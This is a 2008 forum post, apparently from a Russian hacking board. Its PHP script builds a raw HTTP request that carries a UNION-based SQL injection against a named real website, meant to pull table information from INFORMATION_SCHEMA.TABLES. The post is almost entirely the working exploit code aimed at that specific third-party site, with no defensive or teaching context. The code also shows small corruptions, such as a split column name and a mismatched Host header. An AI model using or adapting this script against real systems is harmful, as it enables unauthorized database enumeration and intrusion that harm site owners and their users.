
24.05.2008, 18:17
|
|
Познающий
Регистрация: 23.04.2008
Сообщений: 39
С нами:
9499716
Репутация:
135
|
|
выводит INFORMATION_SCHEMA.TABLES
с сайта samba.org.ua
PHP код:
<?
echo "<pre>\n";
@set_time_limit(0);
@ini_set("display_errors","0");
$hostname = gethostbyname('samba.org.ua');
function info($info)
{
global $hostname;
$responce = "";
$fsock = fsockopen($hostname,80,$errnum,$errstr,2);
$headers = "GET http://samba.org.ua/articles/?section=2-1 AND 1=0 UNION SELECT 1,2,COUNT(CONCAT_WS(0x203A20,TABLE_SCHEMA,TABLE_NA ME)),4 FROM $info HTTP/1.1\n";
$headers .= "Host: my-photo.ru\n";
$headers .= "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.0.2) Gecko/20060308 Firefox/1.5.0.2\n";
$headers .= "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\n";
$headers .= "Accept-Language: ru-ru,ru;q=0.8,en-us;q=0.5,en;q=0.3\n";
$headers .= "Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7\n";
$headers .= "Keep-Alive: 500\n";
$headers .= "Connection: close\n";
$headers .= "Content-Type: application/x-www-form-urlencoded\r\n\r\n";
fwrite ($fsock,$headers);
while (!feof($fsock)) $responce .= fread($fsock,1024);
fclose ($fsock);
$patern = "#<[\s]*sqlinj[\s]*>([^<]*)<[\s]*/sqlinj[\s]*>#i";
if(preg_match($patern, $responce, $rez)) echo $rez[1]; else echo 'Something not right...';
//echo $responce;
}
info("INFORMATION_SCHEMA.TABLES");
echo "</pre>";
?>
|
|
|